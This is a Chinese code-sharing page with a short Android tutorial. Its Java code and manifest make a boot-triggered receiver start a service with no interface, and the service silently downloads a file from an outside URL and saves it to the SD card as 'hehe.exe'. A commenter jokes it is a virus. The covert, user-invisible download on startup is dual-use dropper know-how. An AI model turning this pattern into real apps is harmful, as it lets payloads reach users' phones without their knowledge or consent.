当前位置: 代码迷 >> Android >> android 无界面通过开机上载
  详细解决方案

android 无界面通过开机上载

热度:5   发布时间:2016-05-01 16:04:03.0
android 无界面通过开机下载

android 无界面通过开机下载

?

FileDownLoadReceiver

package com.wjl.download;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.widget.Toast;public class FileDownLoadReceiver extends BroadcastReceiver {	@Override	public void onReceive(Context context, Intent intent) {		//	Toast.makeText(context, "启动服务", 1).show();	Intent s = new Intent(context, DownLoadServices.class);	context.startService(s);		}}

?

DownLoadServices

package com.wjl.download;import java.io.File;import java.io.FileOutputStream;import java.io.InputStream;import java.net.HttpURLConnection;import java.net.URL;import android.app.Service;import android.content.Intent;import android.os.IBinder;public class DownLoadServices extends Service {	@Override	public IBinder onBind(Intent intent) {				return null;	}    @Override    public void onCreate() {        super .onCreate();                String url ="http://down.hotxz.com/soft/?softid=10047&downid=69&id=10166";		String savaSrc = "/sdcard/wjl/";		String saveName = "hehe.exe";		download(url, savaSrc, saveName);                  }    public void download(final String url,final String savaSrc,final String saveName){    	 new Thread(new Runnable() {						private int size;			@Override			public void run() {				try{			    						URL sourceUrl = new URL(url);						HttpURLConnection conn = (HttpURLConnection) sourceUrl						.openConnection();										//int responseCode = conn.getResponseCode();				//if (responseCode == 200) {					File savePath = new File(savaSrc);					if (!savePath.exists()) {						savePath.mkdirs();					}					File saveFile = new File(savePath+"/"+ saveName);					if ( saveFile.exists()) {						saveFile.delete();						saveFile.createNewFile();					}else{						saveFile.createNewFile();					}					int fileSize = conn.getContentLength();					InputStream inputStream = conn.getInputStream();					FileOutputStream fos = new FileOutputStream(saveFile);					byte buf[] = new byte[1024];									do {						int numread = inputStream.read(buf);						if (numread <= 0) {							break;						}						 size+=numread;						fos.write(buf, 0, numread);					} while (true);										inputStream.close();					fos.close();				         				 }catch (Exception e) {				}  				}		}).start();    	    }	      }
?

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"      package="com.wjl.download"      android:versionCode="1"      android:versionName="1.0">    <application android:icon="@drawable/icon" android:label="@string/app_name">                        <service android:name ="DownLoadServices" /> 				 <receiver android:name=".FileDownLoadReceiver">        	<intent-filter>        		<action android:name="android.intent.action.BOOT_COMPLETED"/>                <category android:name="android.intent.category.HOME" />        	</intent-filter>        </receiver>                 <receiver android:name=".FileDownLoadReceiver">        	<intent-filter>        		<action android:name="android.intent.action.VIEW"/>                <category android:name="android.intent.category.DEFAULT" />        	</intent-filter>        </receiver>	</application>	    <uses-sdk android:minSdkVersion="5" />	  <!-- 在SDCard中创建与删除文件权限 -->	<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>	<!-- 往SDCard写入数据权限 -->	<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>	<!-- 访问internet权限 -->	<uses-permission android:name="android.permission.INTERNET"/></manifest> 
?
1 楼 wangshiming88 2010-11-26  
坏死了
一开手机就中了你的病毒
  相关解决方案